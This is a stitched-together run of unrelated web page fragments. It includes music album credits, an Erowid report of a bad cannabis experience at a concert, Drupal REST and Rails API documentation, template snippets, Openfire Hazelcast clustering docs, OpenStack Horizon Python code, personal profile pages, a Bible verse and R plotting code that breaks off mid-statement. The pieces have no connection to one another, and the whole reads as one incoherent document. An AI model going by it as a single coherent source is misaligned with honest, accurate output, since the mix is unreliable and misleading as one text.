- Dualize
Aresynth
- Space Carrot Supply Station
wigen
- FUTURE FORECAST METHOD
asceticaudio.
- S**X (on the) FLOOR
wigen
arranged by Seokho
- Staff !! - HOUSE REarrange MIX -
original song by Mario Party 9 "Staff Credits"
arranged by wigen
- Catalog Num
- TPRO-A007
- Release Date
- {{ page.date }}
- Producer
- wigen
- Composer
- wigen, RMHN, Kari, Aresynth, Seokho, SANY-ON
- Mastering
- wigen, RMHN, Kari, Aresynth, Seokho
- Designer
- monicaNC
Download


I was at a concert with my girlfriend and our friend, and about half way through the concert my buddy pulled out a joint. I hadn't smoked weed for about 4 months (before that I did it almost everyday, but when I met my g/f she helped me quit) so I knew I would get pretty stoned. I began to toke and everything felt pretty normal. When the joint was done, I felt pretty high, the sounds on the speakers of the guitarist here tripping me out a bit. As I was standing there, I felt kind of dizzy, and my vision was getting a bit distorted. I felt the need to sit down or get some water, so I told my girlfriend I would be right back (not telling her I wasnt feeling too good). I went to the bar to get some water.  After standing in line for a while, I began to get even more dizzy, at times as if I was going to collaps. I wasnt even sure if I even wanted water or if I wanted to just lean on the bar.
For some reason I thought I was at the bar and leaned forward falling into the person in front of me, I said sorry and gave up with the waiting. I sat with a group of people near the bar on the ground. I think some of them tried talking to me but I just didnt feel like talking because I was starting to feel better. I then started thinking about how my g/f would proberably start worrying about me, so I started back in the crowed to find her and my friend. On the way my vision went all white and I could hardly see anything, so I went out in the lobby where it was slightly cooler and sat down, after sitting for about 10 minutes I felt more 'really stoned' rather than sick anymore. So I went back to see them and I asked her to just sit with me for a while and she did, and I got better and continued watching the show after.
One thing to note is I usually have an anxiety problem in large crowds, but I dont usually get anxiety at concerts because I go to them so much. But since I hadnt smoked pot in a long time, I proberably wasnt used to the atmosphere, so that is what proberably made me sick. Im more used to relaxed atmosphere's from passed experiences with pot.
Experience Reports are the writings and opinions of the individual authors who submit them.
Some of the activities described are dangerous and/or illegal and none are recommended by Erowid.


Hello World!
TODO: Flesh this out a little bit with some content about awesome Google Chrome Print really is...


Web Services make it possible for other applications to read and update information on your site via the Web. REST is one of a number of different ways of making Web Services available on your site. In contrast to other techniques such as SOAP or XML-RPC, REST encourages developers to rely on HTTP methods (such as GET and POST) to operate on site resources.
The rest
module provides resources which allows external applications to interact with Drupal.
It also allows module developers to create their own resource to further extend how Drupal behaves when calling out those created resources.
The rest
module has 4 HTTP verbs:
Core in Drupal 8 provides 2 representations:
hal
)Core in Drupal 8 provides 2 authentications:
basic_auth
)Configuration for REST module is required.
See core/modules/rest/config/rest.settings.yml
for basic configurations.
restui
contrib module provides a UI to configure REST module.
To allow GET operations for entities in order to retrieve data, you will need to set the necessary permissions:
For testing, you can use cURL or some other HTTP client. Example for cURL to get the JSON representation:
curl -s http://example.com/node/1?_format=json
HAL is a simple format that gives a consistent and easy way to hyperlink between resources in your API.
Authentication and HAL are required for POST, PATCH, and DELETE verbs. Enable the modules:
hal
basic_auth
Basic authentication is passing the Authorization
header - Authorization: Basic BASE64<user:password>
.
curl -s -H 'Content-Type: application/hal+json'\
--user <user>:<password>\
http://example.com/entity/<entity_type>\
'{
"_links": {
"type": {
"href": "http://example.com/rest/type/<entity_type>/<bundle>"
}
},
"title": [
{
"value": "Foobar"
}
]
}'
curl -s --request PATCH\
-H 'Content-Type: application/hal+json'\
--user <user>:<password> http://example.com/node/<nid>\
'{
"_links": {
"type": {
"href": "http://example.com/rest/type/<entity_type>/<bundle>"
}
},
"title": [
{
"value": "Foobar"
}
],
"body": [
{
"value": "Test"
}
]
}'
curl -s --request DELETE\
--user <user>:<password> http://example.com/node/1


Class: Rails::Railtie::Configuration
| Relationships & Source Files | |
| Extension / Inclusion / Inheritance Descendants | |
|
Subclasses:
|
|
| Inherits: | Object |
| Defined in: | railties/lib/rails/railtie/configuration.rb |
Class Method Summary
- .new ⇒ Configuration constructor
Instance Method Summary
-
#after_initialize(&block)
Last configurable block to run.
-
#app_generators {|@@app_generators| ... }
This allows you to modify application’s generators from Railties.
-
#app_middleware
This allows you to modify the application’s middlewares from Engines.
-
#before_configuration(&block)
First configurable block to run.
-
#before_eager_load(&block)
Third configurable block to run.
-
#before_initialize(&block)
Second configurable block to run.
-
#eager_load_namespaces
All namespaces that are eager loaded.
- #respond_to?(name, include_private = false) ⇒ Boolean
-
#to_prepare(&blk)
Defines generic callbacks to run before #after_initialize.
-
#to_prepare_blocks
::Array
of callbacks defined by #to_prepare. -
#watchable_dirs
Add directories that should be watched for change.
-
#watchable_files
Add files that should be watched for change.
Constructor Details
.new ⇒ Configuration
# File 'railties/lib/rails/railtie/configuration.rb', line 9
def initialize @@options ||= {} end
Dynamic Method Handling
This class handles dynamic methods through the method_missing method
#method_missing(name, *args, &blk) (private)
[ GitHub ]# File 'railties/lib/rails/railtie/configuration.rb', line 91
def method_missing(name, *args, &blk) if name.end_with?("=") @@options[:"#{name[0..-2]}"] = args.first elsif @@options.key?(name) @@options[name] else super end end
Instance Method Details
#after_initialize(&block)
Last configurable block to run. Called after frameworks initialize.
# File 'railties/lib/rails/railtie/configuration.rb', line 71
def after_initialize(&block) ActiveSupport.on_load(:after_initialize, yield: true, &block) end
#app_generators {|@@app_generators| ... }
This allows you to modify application’s generators from Railties.
Values set on app_generators will become defaults for application, unless application overwrites them.
# File 'railties/lib/rails/railtie/configuration.rb', line 48
def app_generators @@app_generators ||= Rails::Configuration::Generators.new yield(@@app_generators) if block_given? @@app_generators end
#app_middleware
This allows you to modify the application’s middlewares from Engines.
All operations you run on the app_middleware will be replayed on the application once it is defined and the default_middlewares are created
# File 'railties/lib/rails/railtie/configuration.rb', line 40
def app_middleware @@app_middleware ||= Rails::Configuration::MiddlewareStackProxy.new end
#before_configuration(&block)
First configurable block to run. Called before any initializers are run.
# File 'railties/lib/rails/railtie/configuration.rb', line 55
def before_configuration(&block) ActiveSupport.on_load(:before_configuration, yield: true, &block) end
#before_eager_load(&block)
Third configurable block to run. Does not run if config.eager_load
set to false.
# File 'railties/lib/rails/railtie/configuration.rb', line 61
def before_eager_load(&block) ActiveSupport.on_load(:before_eager_load, yield: true, &block) end
#before_initialize(&block)
Second configurable block to run. Called before frameworks initialize.
# File 'railties/lib/rails/railtie/configuration.rb', line 66
def before_initialize(&block) ActiveSupport.on_load(:before_initialize, yield: true, &block) end
#eager_load_namespaces
All namespaces that are eager loaded
# File 'railties/lib/rails/railtie/configuration.rb', line 19
def eager_load_namespaces @@eager_load_namespaces ||= [] end
#respond_to?(name, include_private = false) ⇒ Boolean
# File 'railties/lib/rails/railtie/configuration.rb', line 86
def respond_to?(name, include_private = false) super || @@options.key?(name.to_sym) end
#to_prepare(&blk)
Defines generic callbacks to run before #after_initialize. Useful for ::Rails::Railtie
subclasses.
# File 'railties/lib/rails/railtie/configuration.rb', line 82
def to_prepare(&blk) to_prepare_blocks << blk if blk end
#to_prepare_blocks
::Array
of callbacks defined by #to_prepare.
# File 'railties/lib/rails/railtie/configuration.rb', line 76
def to_prepare_blocks @@to_prepare_blocks ||= [] end
#watchable_dirs
Add directories that should be watched for change. The key of the hashes should be directories and the values should be an array of extensions to match in each directory.
# File 'railties/lib/rails/railtie/configuration.rb', line 31
def watchable_dirs @@watchable_dirs ||= {} end
#watchable_files
Add files that should be watched for change.
# File 'railties/lib/rails/railtie/configuration.rb', line 24
def watchable_files @@watchable_files ||= [] end


UMS
Home
(current)
Add Users
Roles
Rights
User Management System
python django User Management System by
Raheel Siddiqui
{% block content %} {% endblock content %}


{% extends "layout-chs.html" %} {% block page_title %} Choose a password {% endblock %} {% block proposition_header %} {% endblock %} {% block header_class %} {% endblock %} {% block content %} {% include "includes/phase_banner_beta.html" %} {% include 'includes/error.html' %} There's been a problem Check the following: Your password must be at least 8 characters, and contain at least 1 upper case letter, 1 number and 1 symbol. Choose a password Choose a password for<EMAIL_ADDRESS>Choose a password Password must be at least 8 characters and contain 1 upper case letter, 1 number and 1 symbol. If you try to use your Webfiling password, it may not meet these requirements. Your password must be at least 8 characters, and contain at least 1 upper case letter, 1 number and 1 symbol. If you’re trying to use your Webfiling password, it may not meet these requirements. Re-enter password {% endblock %}
Check the following:
Choose a password for jsmith@testcompany.co.uk


--- layout: default title: Home permalink: / ---
{{ hero.headline }}
Version {{ site.data.download.version }} released, now with Apple M1 support!
{{ reason }}
{{ feature.description }}


Molly's Game
Molly's Game is a movie starring Jessica Chastain, Idris Elba, and Kevin Costner. The true story of Molly Bloom, an Olympic-class skier who ran the world's most exclusive high-stakes poker game and became an FBI target.


All material: Free Software: The 3-Clause BSD License.
About
Please consider citing the papers.
Page is being updated ...untill then please refere to the Documentation
Entropy of real-valued signal¶
Scalogram CWT¶
ICA of multi-channel signal¶
In case of broken links, try this¶
Examples of Logistic Regression with SpKit
Logistic Regression¶
Logistic Regression for MultiClass¶
Naïve Bayes¶
Naïve Bayes for MultiClass¶
Examples of Decision Tree with SpKit
Decision Tree with Visulization¶
Effect of Depth on Decision Boundry¶
Shrinking Capability of Tree with SpKit¶
Use of Catogorical Features without encoding¶
Examples with SpKit


When analyzing the modes calculated numerically, we need to distinguish two kinds of modes: the continuum modes and the gap modes. In principle, the continuum mode is defined as the mode whose frequency is within the Alfven continua while the gap mode is defined as the mode whose frequency is within the frequency gap of the Alfven continua. However, for realistic equilibria, any given frequency will touch the continua at one of the radial locations.
However, for realistic structure of continua, both the range and the center of the frequency of a gap change with the radial coordinate, as is shown in Fig. 16. As a result, a given frequency usually can not be within a gap for all radial locations, i.e., the frequency usually intersects the Alfven continua at some radial locations. These locations are the Alfven resonant surfaces. As is pointed out in Ref. [], the mode structure have singularity given by at the resonant surface, where is the radial coordinate of the resonant surface and can have finite discontinuity.
In practice, continuum modes can be easily distinguished from gap modes by examining the radial structure of the poloidal harmonics of the mode. If the radial mode structure has dominant singularities at the Alfven resonant surfaces, then the modes are continua modes. If the dominant peaks of the mode are not at the Alfven resonant surfaces, then the mode is probably a gap mode (further confirmation can be obtained by examining poloidal mode number of the dominant harmonics, discussed later). The mode structure of gap modes can also have singular peak at the resonant surface, but the peak is usually smaller than the dominant peak.
Mode structure of a TAE mode is plotted in Fig. 20
Fig. 22. plots the radial mode structure of another TAE with frequency .
An example of ellipticity-induced Alfven Eigenmode (EAE) is plotted in Fig. 24. The mode is identified as an EAE mode because it satisfies the following three requirements: (1) the mode has two dominant harmonics with poloidal mode number differing by two ( and for this case); (2) the frequency of the mode is within in the continuum gap formed due to the coupling of these two poloidal harmonics; (3) the location of the peak of the radial mode structure is within the continuum gap.
An example of non-circularity-induced Alfven Eigenmode (NAE) is plotted in Fig. 26.
yj 2015-09-04


--- layout: default title: Bartosz Kazimierz Papis: Publications css: list.css;publications.css;perfect-scrollbar.min.css;flash.css js: initScroll.js;perfect-scrollbar.min.js;flash.js --- {% include rightmenu.html main="publications.html" positions="2020;2016;2014;2013;2011" %}
2020
{% include publication.html title="Experimental evaluation of test-driven development with interns working on a real industrial project" authors="B. Papis, K. Grochowski, K. Subzda" where="IEEE Transactions on Software Engineering" link="https://ieeexplore.ieee.org/document/9207972" %}2016
{% include publication.html title="Experimental comparison of software development methods on a commercial project for the industry" authors="B. Papis, K. Grochowski, K. Subzda" where="code::dive conference (journal publication in progress)" link="https://www.youtube.com/watch?v=dgT4XPpYfzs" %}2015
{% include publication.html title="State abstraction in Reinforcement Learning" where="Ph.D. thesis defended at Warsaw University of Technology" link="https://repo.pw.edu.pl/info/phd/WUT113e3e486cfe4a4f9971e1d0d5e4db00/State%2Babstraction%2Bin%2Breinforcement%2Blearning?r=affiliation&lang=en" pdf="downloads/bpapisthesis.pdf" %}2014
{% include publication.html title="Neighbourhood approach to bisimulation in state abstraction for quantized domains" authors="B. Papis, A. Pacut" where="19th International Conference On Methods and Models in Automation and Robotics (MMAR), 566-571" link="http://dx.doi.org/10.1109/MMAR.2014.6957416" %} {% include publication.html title="Multispace, Dynamic, Fixed-Radius, All Nearest Neighbours Problem" authors="B. Papis, A. Pacut" where="16th International Symposium on Symbolic and Numeric Algorithms for Scientific Computing (SYNASC), 244-250" link="http://dx.doi.org/10.1109/SYNASC.2014.40" %} {% include publication.html title="Evaluation of Colour Recognition Algorithms with a Palette Designed for Applications2013
{% include publication.html title="dotRL: A platform for rapid Reinforcement Learning methods development and validation" authors="B. Papis, P. Wawrzyński" where="Federated Conference on Computer Science and Information Systems (FedCSIS), 129-136" pdf="http://staff.elka.pw.edu.pl/~pwawrzyn/pub-s/1301_dotrl.pdf" %}2011
{% include publication.html title="Fixed point method for autonomous on-line neural network training" authors="P. Wawrzyński, B. Papis" where="Neurocomputing 74 (17), 2893-2905" pdf="http://www.researchgate.net/profile/Pawel_Wawrzynski/publication/220550793_Fixed_point_method_for_autonomous_on-line_neural_network_training/links/5404820d0cf23d9765a63a95.pdf" %}


HI, My name is Jonathan Chow. I am a freshman living in the bay area. I go to the amazing Evergreen Valley High School and have an even more amazing family. Continue reading to learn more about me!
This is the logo of my school. Evergreen Vally High School is a great school. There are about 2800 students in Evergreen Valley and its mascot is the cougar, as you can see from the picture. My six classes in EV is, in order, Physics, Physical Education, Spanish 1, Algebra 2, English 1A, and ECS. I am enjoying most classes which is a good thing.
I have a really nice family. I am the oldest out of four children. My mom and dad are very hard-working.  They both work and have very stable jobs. My other siblings are Chloe, Ellie, and Timothy. We get along pretty well nowadays. I often hear about how siblings hate and hit one another, but that has not happened in a long time. I guess that is a good thing.
On to Page Two Skip to Page Three


Record
{{teamStats.record.wins}} - {{teamStats.record.losses}}
Point Spread
{{teamStats.pointSpread.ours}} - {{teamStats.pointSpread.theirs}}
Offensive Productivity
{{teamStats.offensiveProductivity}}%
Conversion Rate
{{teamStats.conversionRate}}%
Passes per Posession
Score
Turn
Points per Line
{{teamName}}
Opponents
Wind Efficiency
Assists to Goals
Hockey Assists
Assists
Goals!


The Hazelcast plugin adds support for running multiple redundant Openfire servers together in a cluster. By running Openfire as a cluster, you can distribute the connection load among several servers, while also providing failover in the event that one of your servers fails. This plugin is a drop-in replacement for the original Openfire clustering plugin, using the open source Hazelcast In-Memory Data Grid data distribution framework in lieu of an expensive proprietary third-party product.
The current Hazelcast release is version 3.9.2.
XMPP is designed to scale in ways that are similar to email. Each Openfire installation supports a single XMPP domain, and a server-to-server (S2S) protocol as described in the specification is provided to link multiple XMPP domains together. This is known as federation. It represents a powerful way to "scale out" XMPP, as it allows an XMPP user to communicate securely with any user in any other such federated domain. These federations may be public or private as appropriate. Federated domains may exchange XMPP stanzas across the Internet (WAN) and may even discover one another using DNS-based service lookup and address resolution.
By contrast, clustering is a technique used to "scale up" a single XMPP domain. The server members within a cluster all share an identical configuration. Each member will allow any user within the domain to connect, authenticate, and exchange stanzas. Clustered servers all share a single database, and are also required to be resident within the same LAN-based (low latency) network infrastructure. This type of deployment is suitable to provide runtime redundancy and will support a larger number of users and connections (within a single domain) than a single server would be able to provide.
For very large Openfire deployments, a combination of federation and clustering will provide the best results. Whereas a single clustered XMPP domain will be able to support tens or even hundreds of thousands of users, a federated deployment will be needed to reach true Internet scale of millions of concurrent XMPP connections.
To create an Openfire cluster, you should have at least two Openfire servers, and each server must have the Hazelcast plugin installed. To install Hazelcast, simply drop the hazelcast.jar into $OPENFIRE_HOME/plugins along with any other plugins you may have installed. You may also use the Plugins page from the admin console to install the plugin. Note that all servers in a given cluster must be configured to share a single external database (not the Embedded DB).
By default during the Openfire startup/initialization process, the servers will discover each other by exchanging UDP (multicast) packets via a configurable IP address and port. However, be advised that many other initialization options are available and may be used if your network does not support multicast communication (see Configuration below).
After the Hazelcast plugin has been deployed to each of the servers, use the radio button controls located on the Clustering page in the admin console to activate/enable the cluster. You only need to enable clustering once; the change will be propagated to the other servers automatically. After refreshing the Clustering page you will be able to see all the servers that have successfully joined the cluster.
Note that Hazelcast and the earlier clustering plugins (clustering.jar and enterprise.jar) are mutually exclusive. You will need to remove any existing older clustering plugin(s) before installing Hazelcast into your Openfire server(s).
With your cluster up and running, you will now want some form of load balancer to distribute the connection load among the members of your Openfire cluster. There are several commercial and open source alternatives for this. For example, if you are using the HTTP/BOSH Openfire connector to connect to Openfire, the Apache web server (httpd) plus the corresponding proxy balancer module (mod_proxy_balancer) could provide a workable solution. Some other popular options include the F5 LTM (commercial) and HAProxy (open source), among many more.
A simple round-robin DNS configuration can help distribute XMPP connections across multiple Openfire servers in a cluster. While popular as a lightweight and low-cost way to provide basic scalability, note that this approach is not considered adequate for true load balancing nor does it provide high availability (HA) from a client perspective. If you are evaluating these options, you can read more here.
The process of upgrading the Hazelcast plugin requires a few additional steps when compared with a traditional plugin due to the cross-server dependencies within a running cluster. Practically speaking, all the members of the cluster need to be running the same version of the plugin to prevent various errors and data synchronization issues.
NOTE: This upgrade procedure is neat and tidy, but will incur a brief service outage.
plugins/hazelcast.jar
plugins/hazelcast
directoryhazelcast.jar
into the plugins
directoryNOTE: Using this approach you should be able to continue servicing XMPP connections during the upgrade.
NOTE: Use this approach if you only have access to the Openfire console. Note however that users may not be able to communicate with each other during the upgrade (if they are connected to different servers).
There are several configuration options built into the Hazelcast plugin as Openfire system properties:
hazelcast-cache-config.xml
file included with the plugin will include a file
conf/hazelcast-local-config.xml
that will be preserved between plugin updates. It is recommended that
local changes are kept in this file.
The Hazelcast plugin uses the
XML configuration builder to initialize the cluster from the XML file conf/hazelcast-local-config.xml
.
By default the cluster members will attempt to discover each other via UDP multicast at the
following location:
conf/hazelcast-local-config.xml
file via the multicast-group and multicast-port elements. Many other initialization and
discovery options exist, as documented in the Hazelcast configuration docs noted above. For
example, to set up a two-node cluster using well-known DNS name/port values, try the
following alternative:
... <join> <multicast enabled="false"/> <tcp-ip enabled="true"> <member>of-node-a.example.com</member> <member>of-node-b.example.com</member> </tcp-ip> </join> ...
Please refer to the Hazelcast reference manual for more information.
Hazelcast is quite sensitive to delays that may be caused by long-running GC cycles which are typical of servers using a default runtime JVM configuration. In most cases it will be preferable to activate the concurrent garbage collector (CMS) or the new G1 garbage collector to minimize blocking within the JVM. When using CMS, you may be able to counter the effects of heap fragmentation by using JMX to invoke System.gc() when the cluster is relatively idle (e.g. overnight). This has the effect of temporarily interrupting the concurrent GC algorithm in favor of the default GC to collect and compact the heap.
In addition, the runtime characteristics of your Openfire cluster will vary greatly depending on the number and type of clients that are connected, and which XMPP services you are using in your deployment. However, note that because many of the objects allocated on the heap are of the short-lived variety, increasing the proportion of young generation (eden) space may also have a positive impact on performance. As an example, the following OPENFIRE_OPTS have been shown to be suitable in a three-node cluster of servers (four CPUs each), supporting approximately 50k active users:
OPENFIRE_OPTS="-Xmx4G -Xms4G -XX:NewRatio=1 -XX:SurvivorRatio=4 -XX:+UseConcMarkSweepGC -XX:+CMSIncrementalMode -XX:+UseParNewGC -XX:+CMSParallelRemarkEnabled -XX:CMSFullGCsBeforeCompaction=1 -XX:CMSInitiatingOccupancyFraction=80 -XX:+UseCMSInitiatingOccupancyOnly -XX:+PrintGCDetails -XX:+PrintPromotionFailure"
This GC configuration will also emit helpful GC diagnostic information to the console to aid further tuning and troubleshooting as appropriate for your deployment.


C# Extension Methods
Collection of C# Extension methods from StackOverflow and ExtensionMethod.net.
1. http://stackoverflow.com/questions/271398/what-are-your-favorite-extension-methods-for-c-codeplex-com-extensionoverflow
2. http://extensionmethod.net/
One place so I can access them easily. These extensions are not authored by me.
Thanks to all those who have submitted very useful extension methods.


The standard prefix for the datasource is file://
which can be omitted if configured as the default datasource.
This datasource allows to read files and treat the contents as a source of data. Whenever a file is updated, the file is reparsed and a notification is sent with the new value.
file:///C:/Users/carcassi/mydata.csv
will open the file located at C:\Users\carcassi\mydata.csv
file:///home/foo/mydata.csv
will open the file located at /home/foo/mydata.csv
This package provides support for:
Changes are detected through OS callback if available and supported by the Java JDK. This gives very good performance (no extra load on CPU or disk) but is not available for all systems. In particular, is not available through network file systems (such as NFS).


{% macro jpg(name, alt='Image') %} {% endmacro %}
PREGAME
We tasted all the noodles so you don't have to (but you probably should).
by David Deloso & Sophia Lo
Insight from NU alum and YouTube’s second-most-famous ASMRtist
How a sweet deal in the 1850s could have gotten you free tuition
by Duncan Agnew
HANGOVER


# Copyright 2014, Rackspace, US, Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
import functools
import json
import logging
from django.conf import settings
from django import http
from django.utils import decorators
from oslo_serialization import jsonutils
from horizon import exceptions
log = logging.getLogger(__name__)
[docs]class AjaxError(Exception):
def __init__(self, http_status, msg):
self.http_status = http_status
super(AjaxError, self).__init__(msg)
http_errors = exceptions.UNAUTHORIZED + exceptions.NOT_FOUND + \
exceptions.RECOVERABLE + (AjaxError, )
[docs]class CreatedResponse(http.HttpResponse):
def __init__(self, location, data=None):
if data is not None:
content = jsonutils.dumps(data, sort_keys=settings.DEBUG)
content_type = 'application/json'
else:
content = ''
content_type = None
super(CreatedResponse, self).__init__(status=201, content=content,
content_type=content_type)
self['Location'] = location
[docs]class JSONResponse(http.HttpResponse):
def __init__(self, data, status=200, json_encoder=json.JSONEncoder):
if status == 204:
content = ''
else:
content = jsonutils.dumps(data, sort_keys=settings.DEBUG,
cls=json_encoder)
super(JSONResponse, self).__init__(
status=status,
content=content,
content_type='application/json',
)
[docs]def ajax(authenticated=True, data_required=False,
json_encoder=json.JSONEncoder):
'''Provide a decorator to wrap a view method so that it may exist in an
entirely AJAX environment:
- data decoded from JSON as input and data coded as JSON as output
- result status is coded in the HTTP status code; any non-2xx response
data will be coded as a JSON string, otherwise the response type (always
JSON) is specific to the method called.
if authenticated is true then we'll make sure the current user is
authenticated.
If data_required is true then we'll assert that there is a JSON body
present.
The wrapped view method should return either:
- JSON serialisable data
- an object of the django http.HttpResponse subclass (one of JSONResponse
or CreatedResponse is suggested)
- nothing
Methods returning nothing (or None explicitly) will result in a 204 "NO
CONTENT" being returned to the caller.
'''
def decorator(function, authenticated=authenticated,
data_required=data_required):
@functools.wraps(function,
assigned=decorators.available_attrs(function))
def _wrapped(self, request, *args, **kw):
if authenticated and not request.user.is_authenticated():
return JSONResponse('not logged in', 401)
if not request.is_ajax():
return JSONResponse('request must be AJAX', 400)
# decode the JSON body if present
request.DATA = None
if request.body:
try:
request.DATA = json.loads(request.body)
except (TypeError, ValueError) as e:
return JSONResponse('malformed JSON request: %s' % e, 400)
if data_required:
if not request.DATA:
return JSONResponse('request requires JSON body', 400)
# invoke the wrapped function, handling exceptions sanely
try:
data = function(self, request, *args, **kw)
if isinstance(data, http.HttpResponse):
return data
elif data is None:
return JSONResponse('', status=204)
return JSONResponse(data, json_encoder=json_encoder)
except http_errors as e:
# exception was raised with a specific HTTP status
if hasattr(e, 'http_status'):
http_status = e.http_status
elif hasattr(e, 'code'):
http_status = e.code
else:
log.exception('HTTP exception with no status/code')
return JSONResponse(str(e), 500)
return JSONResponse(str(e), http_status)
except Exception as e:
log.exception('error invoking apiclient')
return JSONResponse(str(e), 500)
return _wrapped
return decorator
[docs]def parse_filters_kwargs(request, client_keywords={}):
"""Extract REST filter parameters from the request GET args.
Client processes some keywords separately from filters and takes
them as separate inputs. This will ignore those keys to avoid
potential conflicts.
"""
filters = {}
kwargs = {}
for param in request.GET:
if param in client_keywords:
kwargs[param] = request.GET[param]
else:
filters[param] = request.GET[param]
return filters, kwargs


Lands' End is an amazing place to work. Being a DevOps person I am responsible for co-designing applications before migrating to Amazon Web Services and manage them as infrastructure as code (using Terraform). I develop software or tools to handle system level configuration for linux and manage Route53 with Dynamo DB.
At Motorola, I was give new responsibilities for advocating and providing SAAS (Software as a service) for CICD next generation and it tuned out great! I could do so much more than i was doing before.
This journey started as support engineer at TCS India. Started from supporting IBM tool stack to AWS cloud migration. Working with TCS, I got a change to learn and grow both personally and professionally.


Reflecting on life, questioning the use of traditional educational models, while trying to write clean & pretty code
- JoseJRVazquez.com
-<EMAIL_ADDRESS>-<PHONE_NUMBER>
- CollegeMoneyMan


Supernova
Home
(current)
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Mason Williams
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6 Active Discussion Channels
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This fight has not started with George Floyd, but rather the millions of black people that has suffered at the hands of the white people. All lives wont matter until black lives matter. #BLM -
Mason Williams
Volunteered at the Sean Casey Animal Rescue Shelter with this amazing crew last weekend! -
Mason Williams
Visit the ASPCA adoption center to pick up adorable pups like these!! #AnimalLover #Dogs #NYC -
Mason Williams
More from Mason..
Originally from PA, now NYC local!! NYU. #AnimalLover #BLM #NYC


Most of my past projects are about transforming complex technologies like machine learning and cyber security to products that are meaningful to users.
Here are some organizations I've worked with:
Google, Qihoo 360, Lenovo HealthDesignByUS Co+lab.
A designer who cares about empathy, a front-end developer who cares about usability, and a thinker who cares about humanity.


WITNESS LIST Economic Development Committee (Subcommittee on 9-1-1 Emergency Communications) March 21, 2000-10:00A 9-1-1 Emergency Communications On: Goerke, James D (Executive Director, Texas Commission on State Emergency Comm.), Austin Hanna, Joe (Captain, Richardson PD, Public Safety Communications), Richardson Hogan, Laverne (Executive Director, Greater Harris Co. 9-1-1 Emergency Network), Houston Munn, Bill (Executive Director, Tarrant Co. 9-1-1 District), Fort Worth Registering, but not testifying: On: Caudle, Doka (Manager, 9-1-1 System Operations, City of Dallas), Dallas Glover, H.W. Jr. (Executive Director, 9-1-1 Network of East Texas), Tyler Gradlum, Ken (Manager, SW Regional Communications Center, Public Safety Comm), DeSoto Melcher, John (Deputy Director, Greater Harris Co. 9-1-1 Network), Houston Naylor, Donna (Director, Public Safety Communications, 9-1-1 City of Plano), Plano Spence, Carey (Deputy Director, CSEC), Austin Tutton, Melissa (E9-1-1 Coordinator, Public Safety Communications, City of Plano), Plano


You can request for historical custom data in your algorithm. To learn more about historical data requests, please visit the Historical Data documentation page. The following example gets PsychSignal historical data using the History API.
// Request underlying equity data. var ibm = AddEquity("IBM", Resolution.Minute).Symbol; // Add news data for the underlying IBM asset var psy = AddData<PsychSignalSentiment>(ibm).Symbol; // Request 120 minutes of history with the PsychSignal IBM Custom Data Symbol. var history = History<PsychSignalSentiment>(psy, 120, Resolution.Minute);
# Request underlying equity data. ibm = self.AddEquity("IBM", Resolution.Minute).Symbol # Add sentiment data for the underlying IBM asset psy = self.AddData(PsychSignalSentiment, ibm).Symbol # Request 120 minutes of history with the PsychSignal IBM Custom Data Symbol history = self.History(PsychSignalSentiment, psy, 120, Resolution.Minute)


1 Chronicles 6:31
And these are they whom David set over the service of song in the house of the LORD, after that the ark had rest.


Raphaël Playground
paper.circle(320, 240, 60).animate({"fill": "#223fa3", "stroke": "#0f0", "stroke-width": 80, "stroke-opacity": 0.5}, 2000);
Run
Demo of
Raphaël
—JavaScript Vector Library
adapted to
Brython


20 Great Gifts for Boys Who Love to Tinker
by Popular MechanicsThese toys will do what your junior high chem teacher never could: make learning about science fun.
These toys will do what your junior high chem teacher never could: make learning about science fun.


2048
0
0
Join the numbers and get to the 2048 tile!
New GameHow to play: Use your arrow keys to move the tiles. When two tiles with the same number touch, they merge into one!
Note: This game is developed with Meteor. And the source code is on Github | Meteor2048. The game uses some code from Github | 2048 and adds multiplayer features like leaderboard.


--- title: Tech Talks layout: default extra_css: techtalks.css ---
Well, we can first start off with the "why". So, why assets and resources? Well, you can't get much done without them otherwise, of course! Resources refer to things such as softwares and other things that we use to make game devving easier, and so, here we have compiled a list of resources that we have used in games of our very own!


Overview
gogoprotobuf is a fork of
golang/protobuf with several extra features which fall into different categories:
- Code Generation
- Libraries
- Tools
Code Generation
gogoprotobuf uses the
Extensions feature of Protocol Buffers to achieve:
- fast marshalling and unmarshalling.
- more canonical Go structures.
- goprotobuf compatibility
- less typing by optionally generating extra helper code.
- peace of mind by optionally generating test and benchmark code.
- other serialization formats
Libraries
- fieldpath creates and compiles fieldpaths for selective unmarshalling.
- parser parses a proto file with a fork-exec of protoc (does not work on windows).
- io provides length delimited readers and writers.
Tools
Users
These projects use gogoprotobuf:
Please lets us know if you are using gogoprotobuf by posting on our
GoogleGroup.
Mentioned at
more documentation...


Creat your burger!

Add sauce
Add spice
Create your burger!


11 1-way Chi Square Test, “Goodness of Fit”
11.1 Chi Squared Distribution
data.frame(count = 0:50) %>%
dplyr::mutate(prob = dchisq(x = count, df = 1)) %>%
ggplot(aes(x = count,
y = prob)) +
geom_point() +
geom_segment(aes(xend = count,
y = 0,
yend = prob),
size = .1) +
theme_bw() +
scale_x_continuous() +
labs(x = "Count",
y = "Probability") +
theme(legend.position = "none")
data.frame(count = 0:50) %>%
dplyr::mutate(prob = dchisq(x = count, df = 5)) %>%
ggplot(aes(x = count,
y = prob)) +
geom_point() +
geom_segment(aes(xend = count,
y = 0,
yend = prob),
size = .1) +
theme_bw() +
scale_x_continuous() +
labs(x = "Count",
y = "Probability") +
theme(legend.position = "none")
data.frame(count = 0:50) %>%
dplyr::mutate(prob = dchisq(x = count, df = 20)) %>%
ggplot(aes(x = count,
y = prob)) +
geom_point() +
geom_segment(aes(xend = count,
y = 0,
yend = prob),
size = .1) +
theme_bw() +
scale_x_continuous() +
labs(x = "Count",
y = "Probability") +
theme(legend.position = "none")
data.frame(count = 0:150) %>%
dplyr::mutate(prob = dchisq(x = count, df = 100)) %>%
ggplot(aes(x = count,
y = prob)) +
geom_point() +
geom_segment(aes(xend = count,
y = 0,
yend = prob),
size = .1) +
theme_bw() +
scale_x_continuous() +
labs(x = "Count",
y = "Probability") +
theme(legend.position = "none")
data.frame(count = 0:150) %>%
dplyr::mutate(prob_2 = dchisq(x = count, df = 2)) %>%
dplyr::mutate(prob_5 = dchisq(x = count, df = 5)) %>%
